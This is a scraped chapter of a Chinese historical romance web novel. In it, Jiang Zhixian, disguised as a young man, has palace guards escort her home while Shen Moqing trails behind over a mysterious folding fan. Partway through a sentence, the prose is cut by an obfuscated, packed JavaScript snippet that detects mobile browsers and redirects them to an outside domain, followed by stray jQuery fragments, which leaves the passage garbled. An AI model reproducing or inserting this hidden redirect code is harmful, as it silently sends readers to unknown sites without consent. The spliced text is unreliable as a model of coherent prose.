27. 暗处
作品:《绿茶状元为何黑化?》 先是看到身前是个人,接着大脑反应过来,这人正是消失的沈墨卿。
姜知闲右手抓向袖中折扇的动作险险停住,沿着伸出的弧度换了个方向,泄愤般锤在沈墨卿胸膛上。
姜知闲见到人,一瞬间委屈涌上心头,声音带着惊吓过后的颤音,扁起嘴巴控诉,“沈墨卿,你去哪了!?”没什么力气的拳头接连打在他身上。
沈墨卿默不作声,如同一堵墙挡在姜知闲面前,任凭她捶打。
几下过后,姜知闲动作逐渐减慢,胳膊有些酸胀,她用力推挡在身前的沈墨卿,推不动。
姜知闲生气地挥着手臂,欲绕过身前的人,偏偏她换了方向,沈墨卿也跟着堵在前面。
“你到底要干什么?”对于沈墨卿一言不发便找不到人,又突然出现没有一句解释的行为,姜知闲一律视为挑衅,看向沈墨卿的眼中带着怒意,说出的话也不假思索带着刺,“沈墨卿,难怪与你一同长大的顾玄都这般讨厌你,你根本没拿别人当朋友。”
沈墨卿嘴唇动了动,前方隐隐传来规律整齐的脚步声,是巡街金吾卫。
姜知闲趁他不注意从一侧钻过去,见走来的是金吾卫的队伍,她食指指着沈墨卿鼻尖,威胁道:“别跟着我,不然我便大声将金吾卫喊过来,告你当街调戏女子,明日上朝前便会传遍长安城。”
沈墨卿见她怒意正盛,脚步轻轻退至一旁,深邃的眼神未曾从她身上离开。
姜知闲得逞之后心中暗自得意,果然,她猜的没错,沈墨卿这人最是在乎自己的名声,表面风光风霁月,内里谁知道什么样,对付他这种人就该使用非常手段。
反正有金吾卫在,她也不害怕了,快走两步上前拦住巡街的队伍。
为首的是金吾卫队正,见她打扮,还以为是小郎君,厉声问道:“何事阻拦?”
“军爷,我不敢走夜路,能否将我护送回去。”姜知闲这才想起她今日作男子打扮,人家指不定以为他不正常,事已至此只能硬着头皮编下去。
身后金吾兵传来一阵蛐蛐声:“当他自己是什么人?快点让开别挡着,我等公务繁忙,哪有时间陪这公子哥胡闹。”或是调笑,“小郎君怎么娘们唧唧的,怕黑别出门啊。”约莫十几个人当街起哄。
这些人都是最底层的金吾卫,管理较为松散,说起话来没个边界。
队正陈铭微微皱眉,略显为难,劝说道:“小郎君莫要胡闹,宵禁在即,还是尽快回家,不要纠缠我等。”
这些金吾卫分明就是推卸责任,说的好听,姜知闲眼睛上下打量着陈铭,听见身后几人的调笑,嘴角勾起嘲弄的弧度,挑衅地向后看去,拿出身后折扇在陈铭肩上戳了两下,面不改色凑近他耳语道:“军爷,你应当知晓金吾卫大将军虞渊吧。”
“大将军名讳,岂容你信口直言?”金吾卫队正陈铭低声呵斥。
他看向姜知闲眼中带着狐疑,认真观察起眼前白面小郎君,能叫出金吾卫大将军名讳的,怕是此人身份不简单。
面前之人一双含情眼,眼尾微微上挑,这双似曾相识的眼睛,逐渐与久远的记忆中,金吾卫大将军虞渊的一双眼重合,自己曾在宫中与大将军有过一面之缘,面前之人的脸庞与大将军有三分相似,他脑中白光闪过,“你是……?”
“嘘。”姜知闲手指在唇间轻点,打断陈铭的话,眨了眨眼,轻飘飘道:“那是我表哥。”
金吾卫在后头嘲弄的话音未落,便听自家领队带着颤音喝道:“都闭嘴!”
如同夹起尾巴的狗紧跟在那年轻人身后,“民安街第二队金吾卫听令,随我护送这位小郎君归家。”
众金吾兵面面相觑,个别极不情愿地挪动脚步,虽不服气,但队正的命令,他们不得不从,纷纷朝着姜知闲投去或是疑惑、或是惊讶的目光。
姜知闲则笑得一脸灿烂,余光瞥了一眼杵在一旁的沈墨卿,越过他时发尾甩起,留下一个倔强的背影。
沈墨卿知她在怄气,颀长的身影隐在阴影处。
陈铭回想起旧事心事重重,本没发现沈墨卿,奈何沈墨卿存在感着实强烈,打在陈铭身上的目光如有实质。
陈铭感知到危险,猛地往斜后方扫过去,接触到沈墨卿的目光时下意识躲闪,看向地面瞳孔张大。
是御史中丞?!
陈铭常跟着长官在宫里行走,自然见过这位少年状元。
今儿个怕不是大水冲了龙王庙,怎么尽碰上这些个贵人。他深吸一口气,重新抬起头,作势要行一礼。
沈墨卿手掌微抬止住他的动作,不想暴露身份,瞳孔微转,朝着姜知闲的方向瞥了一眼,
陈铭在金吾卫多年,也算是个人精,立刻会意,跟上姜知闲的步伐。
陈铭身后,十几个金吾卫乌泱成群,沈墨卿不远不近地跟在最后方。他不知姜知闲如何与陈铭相识,陈铭出身贫寒,在金吾卫中唯一能仰仗的便是左都街使……怕是与他有所关联。
姜知闲在最前方走着,陈铭陪在身,她避着别人摸了摸袖子袖子,微微凉的折扇贴着里衣,她心中一直有些猜测未得验证。
安静的街道上只能听见整齐划一的步伐声,陈铭回想起上一次见大将军是他顶替别人第一次以金吾卫的身份在宫中,恰巧遇见心情不好的二皇子,寒冬腊月被罚跪在雪地之中。
当时金吾卫大将军虞渊同一妙龄少女一起起经过梅亭,陈铭不敢多看,只一眼便迅速低下头去。
少女见到跪在地上膝盖浸在冰雪里的他。
陈铭那时只不过是一名最低级的守卫,宫中一名金吾卫因病告假,他被顶头上司找来冒名顶替,这也是犯了大罪的,那年他为进宫而欣喜,又经历要命丧宫中的惊险,若不是虞渊和那少女硬是在二皇子手下将他救下来,恐怕……
他不知那少女是谁,自此死心塌地跟着大将军,在金吾卫尽职尽责。
陈铭略后姜知闲半步,心中对他身份猜测颇多,此人说大将军是他表哥……
几人行至尚书府门,陈铭拱手告辞,姜知闲挥了挥手,手中白玉折扇拍了拍陈明的肩膀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416281|183760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,嘴角扬起一抹笑,“好好干。”
“我等便告辞了。”陈铭带着金吾兵转身的瞬间,陈铭压下心中惊骇,原来是尚书府的人,能称大将军表哥的,怕是只有尚书之女。
他胸中如同翻腾的浪花,在激动与了然之间切换,或许曾经出手相助的少女,就是身后的小郎君……
身后十几名金吾卫心中自是不能平静,姜知闲家在尚书府,其身份不言而喻,即使只是府中表亲,也万万不是他们能得罪的起的。
几人走后,姜知闲不紧不慢迈上台阶,转过身,站在她的角度,刚好能看见不远处墙角下有一块突出的阴影。
她冲着墙下阴影道:“若是再不出来,我可要走了。”阴影疑似摇晃了两下,又归于平静。
姜知闲嘴巴抽了抽,这人可真轴,她大声喊道:“沈墨卿,你有种就一辈子躲在墙底下,别出来。”
她跺了下脚,转身即将推开尚书府大门,耳尖动了动,身后终于传来轻微的脚步声。
“风眠。”话音如轻烟,轻飘飘的飘到了姜知闲的耳畔。
姜知闲等的就是他,倏然转过身,脸上尽是得意,站在台阶上,俯视沈墨卿,摸索着袖中折扇,道:“沈墨卿。”
“你没有什么事跟我说吗?过时不候。”
沈墨卿面上没有什么表情,只有比平时重了几许的呼吸,出卖了他不平静的内心。沈墨卿放缓呼吸,眉心下压,声音沉而稳说出的话,却让姜知闲始料未及。
“你,怎么认识陈铭?”
“就问这?”
姜知闲心中有很多猜测,她手上这柄折扇绝非善类,当时只有她跟沈墨卿在隔间之中,红芳馆是锦娘的地盘,想来不会有这种东西却不好生收起来。
她几乎可以确定,这柄折扇七成是沈墨卿的,以为他会找借口打探折扇的下落,早先她便等着沈墨卿会有试探的动作,可是等啊等这人却消失了,也没有等到。
姜知闲眼角上挑,表情玩味地看向沈墨卿,你还挺能沉得住气。
说实话,她手里拿着这扇扇没有任何用处,反倒是个烫手山芋。
她又重复了一遍,“你便是要问我这个?”
“罢了,我曾与他在宫中有过一面之缘,从虞桢手下救过他。”
我可给你机会了,你自己不要的。
姜知闲轻哼,“既然无事,我便回去了。”
姜知闲站在台阶旋身转过去,许是夜里凉生了露水,她只觉脚下一滑,向后仰倒过去。
“啊——”姜知闲手臂无处可依,扬在半空中。
她紧紧闭上双眼,身后是三级石阶,若是摔下去,怕不是轻则会头破血流,重则摔倒脑袋痴傻也是有可能的。
对于姜知闲来说漫长的等待之中,实际上只是一瞬。
身体接触实物没有感到痛处,反而是实实诚诚被抱了个满怀。
只是,她的左手小臂被稳稳抓在掌心之中,心跳仿佛在一瞬间戛然而止。
那条小臂处,正是藏匿折扇的地方。